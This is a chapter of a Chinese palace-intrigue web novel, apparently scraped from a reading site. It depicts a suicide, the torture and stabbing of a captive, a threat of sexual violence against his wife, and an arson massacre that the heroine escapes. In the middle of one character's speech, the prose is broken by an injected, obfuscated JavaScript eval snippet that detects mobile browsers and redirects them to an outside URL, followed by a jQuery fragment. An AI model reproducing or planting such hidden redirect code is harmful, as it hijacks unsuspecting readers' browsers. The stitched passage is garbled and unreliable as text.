可是,相同的话,水洛禀过自家殿下。 李容卿的原话是: “当年云家有难,大舅母怀着身子,在程菩授意下被送入教坊司,折磨至流产,最终血崩而亡。” “如今,自应血债血偿。” 可当着沈楹的面,水洛说不出口。 沈楹笑了笑,抬手握住水洛的剑,缓缓阖上眼眸,蓄力撞了过去: “我不为难你。” 自程荇居高临下地用孩子胁迫她的那一刻起;自沈家人嘴上说着亲情,却要用她的余生去还程家恩情的那一刻起;自她知晓自己为程家掏心掏肺地付出,却从未被程荇正视的那一刻起—— 沈楹早就不想活了。 如今,她要感谢九殿下,成全自己的一桩心愿。 只是,程荇的血,会脏了她的轮回路,奈何桥头,她可还会遇见这样的负心之人? 沈楹不再去想,她只是觉着,自己这一生,终于可以看到尽头了。 水洛后撤不及,只见沈楹颈间血流如注,登时便没了气息。 …… 城郊的小院内,陆昭拦住脸色发白的下人,问道: “殿下呢?” 下人心有余悸,朝着暗室示意了一下,随后便听闻一声有气无力的哀叫,吓得他一缩脖子,快步走了。 推开暗室的门,陆昭皱了皱眉: “还未审出来?” 他看向面前血迹斑斑的凳子,轻笑一声: “程兄弟这嘴,倒是严得很啊。你当真猜不到,我是为何到此地来么?” 李容卿扔下手里的银刀,慢条斯理地在铜盆中洗了洗手,水滴沿着修长的手指上滴在地上,与渐渐干涸的血迹混在了一起。 程菩艰难地抬起头,嗬嗬地喘着粗气,身上的喜服破皱不堪,沾满了污垢和血渍,手腕上尽是被麻绳捆出来的印记。 他咳了咳,许是牵动肺腑,登时扭头吐出一口血来: “是……是皇后……” 陆昭笑了笑: “不错。” “再猜猜,是为何?” 程菩的脸上交错着已经干涸的血迹,漆黑的眼眸里看不见一点光亮,就好像一潭死水,了无生机: “永王……为我欲暗中辅佐永王夺嫡一事。” 陆昭冷笑一声: “不如这么说,从你离开京城的那一刻起,皇后就从未想过要放过你。” “非全忠,便是不忠。你这些年身边的大夫,除了少数几位,几乎全是宫里的眼线。” “你的药,不过是皇后手里的催命符罢了。” 程菩冷哼一声,抬头看向李容卿: “是,倘若当真成王败寇,我哪怕沦为阶下囚,亦毫无怨言。只是你,伪造我的书信,故意引得皇后去弹劾永王……” 李容卿打断了他,俯身凑近了些,眸中淬着森冷的寒意,没有一丝人情味: “是我又如何?” “当年程公子不也是这般对云家的?” 程菩抿了抿唇,似是打定主意闭口不言。 陆昭叹道: “程兄弟,皇后济河焚舟,鸟尽弓藏。你还要这般为她遮掩,图什么?若是痛快交代了,只怕是去转世投胎之前,还能少受点罪。” “再问一次,你这密匣要如何打开?” 程菩扭过头,没有说话。 李容卿看了一眼他身上的喜服,忽然来了兴致,缓缓屈膝半蹲在他面前,手随意地搭在凳侧,低声道: “既然你不想告诉我密匣之事,那便来说说你的夫人,如何?” 程菩愣了一下,骤然挣动起来,许是动作牵扯到了伤口,痛得他吸了一口凉气,哀哀地叫了一声,怒道: “你对她……在府里那些时日,你对娴娘做了什么!” 漆黑的眸中闪过一瞬诡异的兴奋,李容卿饶有兴致地嗤笑一声,微微歪了歪头,手指轻轻地点在他的颈侧: “不过是男.欢.女.爱,行云情雨意之事。我自忖甚少刻意遮掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054522|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你难不成从未发现过?” “就连昨夜的新婚洞房,也是我替你去圆的。” “程菩。” “她已经是我的人了。” “你!” 程菩目眦欲裂,若非手脚被束缚着,他恐怕拼死也要从李容卿身上剜下一块肉来。 “嘘。” 李容卿竖起一根手指,似笑非笑: “你说,到底谁才是上不得台面的情郎?” 陆昭眼看话题即将跑偏,连忙开口: “咳,程兄弟,你若是不肯如实交代这密匣……” 李容卿冷冷地笑了一下: “我便将她绑过来,一墙之隔,你大可细细欣赏,我是如何与你夫人共赴枕上风流,使她入云翻海,直抵极乐的。” “又或者,你耗我一炷香的时间,我便当着她的面,断你一根手指——” 他剑眉入鬓,目若朗星,分明是面如冠玉的清俊君子貌,却偏偏说着最为狠毒的威胁话,连带着气质都变得阴沉低郁,隐隐沾上了几分森邪的鬼气。 “你想要如何,随你的便。” “只是不知,她能坚持到几时?” 程菩瞬间瘫软下来,他低下头,咬着牙,忍着身上的痛意,声音嘶哑: “我告诉你,我什么都告诉你。认罪书,我也签……” 李容卿一挑眉,缓缓站起身,只听他又说道: “只求你……只求殿下莫要为难我妻。要杀要剐,罪责由我程菩一人承担。” 程菩说完,眼前发黑,却咬着舌尖强撑,期待李容卿的答复。 李容卿没有搭理他,只是打开了密匣,仔细与陆昭查阅了一番,确认真伪后,慢才悠悠地转过身: “你觉着,她能够得上与我谈条件?” 李容卿冷冷地拿起短刀,走了过去: “于我而言,她什么都不是。” 程菩的脸色瞬间惨白一片: “殿下!” 李容卿懒得废话,开门见山: “程菩,你设计陷害我母妃,做局逼死云家满门,给我兄长递假消息,害他在皇后手中丢了性命。” “以上种种,可有哪一件冤枉了你?” 他扼住程菩的颈,一字一句道: “我在道观避难的这些年,恨不能将你啖骨饮血。” “你凭什么能有佳人相伴,妄图在江南水乡安度余生,甚至还想着把手伸到太子之位上,呵。” “成王败寇,愿赌服输。” 短刀没入胸口—— “这是你自己说的。” 李容卿直起身子,抽出沾满血的短刀,随手一丢,恰好落入一旁的铜盆里,只听“咣当”一声,血水飞溅。 陆昭叹了口气: “尸体如何处置?” 李容卿就着送来的清水,洗干净手上的血迹,用绢帕擦了擦,垂眸看了一眼,忽然一勾唇: “待到晚间,送去程府。” 陆昭愣了一下: “你要做什么?” 李容卿挂着淡淡的冷笑,可却让人不自觉地头皮发麻: “临别之前,难道不该让她再与夫君见一面么?” …… 天色已晚,久久等不到程菩归家的消息,薛宓娴心里越发慌乱,坐在院子里,怎么也不肯回房歇息。 晚间的时候,府里煮了甜汤,本是给她的院子里也送了来,怎料程茹非要闹着跟她一起睡觉,不小心把食盒打翻了,瓷片碎了一地。 蕴娘嘴里念叨着“碎碎平安”,可薛宓娴却是一点都笑不出来。 窗上的囍字还没有揭下,被纱后的烛火映着,她莫名品出了一种凄凉的意味。 程茹闹得累了,勾着她的小指: “二嫂,我们不等了,去睡觉好不好?” 薛宓娴温柔地笑了笑,把程茹抱在怀里,往屋内走,打算把她哄睡了,再去院子里等程菩。 见不到程菩,她始终心里不安。 哄睡的童谣还没唱几句,院外忽然喧闹起来,有人高声哭喊着: “走水了,走水了!” 不一会儿,便有浓浓的焦烟飘了进来,呛得人直咳嗽。 蕴娘打开门,没一会儿便回来了: “夫人,火已经烧过来了。” 素音也跌跌撞撞地跑了过来,哭道: “夫人……院子里的人,不知何时被下了药,大都动不了。” 薛宓娴努力回忆着自己学过的知识,余光瞥见桌上的茶壶,当即起身拿了几条帕子,打湿分给身边的人,让她们捂住口鼻,以免呛烟窒息。 与此同时,她还让蕴娘等人随自己一起,取下头上的的钗饰,放弃披帛,把裙子缠好,免得一会儿逃生时被绊倒。 做完这一切,薛宓娴拎着湿帕子,打算去看看院子里还有没有能动的人,能救一个是一个。 可是,火势很快蔓延过来。 她的能力有限,根本救不了所有人。 蕴娘扯了一下她的袖子: “夫人,顺着院子后小道,先出去再说。” 薛宓娴知道逃生时机宝贵,顾不得难过,拉着程茹往外逃。 身后传来哭喊声,隐隐还有烧灼之声,薛宓娴不敢回头,只顾着往前跑。 眼看就要从后门出去,她却瞧见不远处躺着一人。 “程菩!” 薛宓娴把程茹交给蕴娘,顾不得即将烧过来的火,扑了过去。 手触及那苍白的面庞,冰冷的体温昭示着结果。薛宓娴咬着唇,忍住眼泪,带着最后一点虔诚的期冀去探他的脉息。 程菩死了。 薛宓娴短暂地怔了一下,随即便想着要抱起程菩的尸身,不能让他如此不明不白地葬身火海。 可程菩虽病重多时,身形消瘦,但到底是个成年男子,薛宓娴费了一番力气,只是徒劳。 身后传来动静,素音及时将她拽了过来。 她们躲在木架后头,看着一群黑衣人训练有素地拔出长剑,凡有侥幸逃出来的,便被一剑封喉,是不留活口的架势。 薛宓娴认得,为首的人,正是程菩身边的侍卫,水洛。 那黑衣人中还有一人,是程府的管家。 她掐着自己的胳膊,逼着自己冷静下来。 身后,蕴娘紧紧捂住程茹的嘴,不让她哭,自己也连气都不敢喘,只待那些人稍微离得远了些,才轻声道: “夫人,怎么办?” 空气里传来一股呛人的焦臭味,起初还传来几声痛苦的哭喊,渐渐便也听不到了。 薛宓娴听见水洛说: “我带人去前头搜,你们看好后门。” 四五个黑衣人留下,他们的手时刻放在剑柄上,只要有人从火海中挣扎出来,便会被重新送去见阎王。 黑衣人用力踢了一脚,便见程菩的尸身滚入火场中,不一会儿便被红色的火舌彻底吞没。 薛宓娴手中握着的,是方才从程菩腰间扯下的玉佩,是她夫君最后的遗物。 素音想了想,开始脱自己的衣裳: “蕴娘,我们出去引开他们。夫人,您带着三姑娘快些跑。” 蕴娘二话不说,开始把自己的衣裙扒下来,套在已经晕过去的程茹身上。 程茹的衣裳有些小,蕴娘见自己穿不下,索性不穿了,只着一件单衣,在寒风中冻得发颤。 薛宓娴鼻子一酸,颤抖着擦去眼泪,还做着几分天真的美梦,幻想她们能像一些电影的结局那样,顺利逃出去。 可惜,素音和蕴娘虽见识不多,此时竟比她果断。 素音说道: “夫人,您快些走。” 蕴娘把程茹小小的身子递了过去: “夫人,我们不能再护着您了。” “以命换命,是我为夫人做的最后一件事。” 语毕,蕴娘拉起素音,默契地分头从暗处冲了出去。 薛宓娴心下剧痛,像是被人打了一闷棍,喘不上气来,却不敢辜负蕴娘和素音的期望,抱着程茹,迎着火光与寒风,头也不回地迈过门槛,跑了出去。 她听见身后的叫喊,听见蕴娘的挣扎与抵抗。 可她不能回头。 她紧紧抱着程茹,孤身只影,撞入茫茫夜色中去。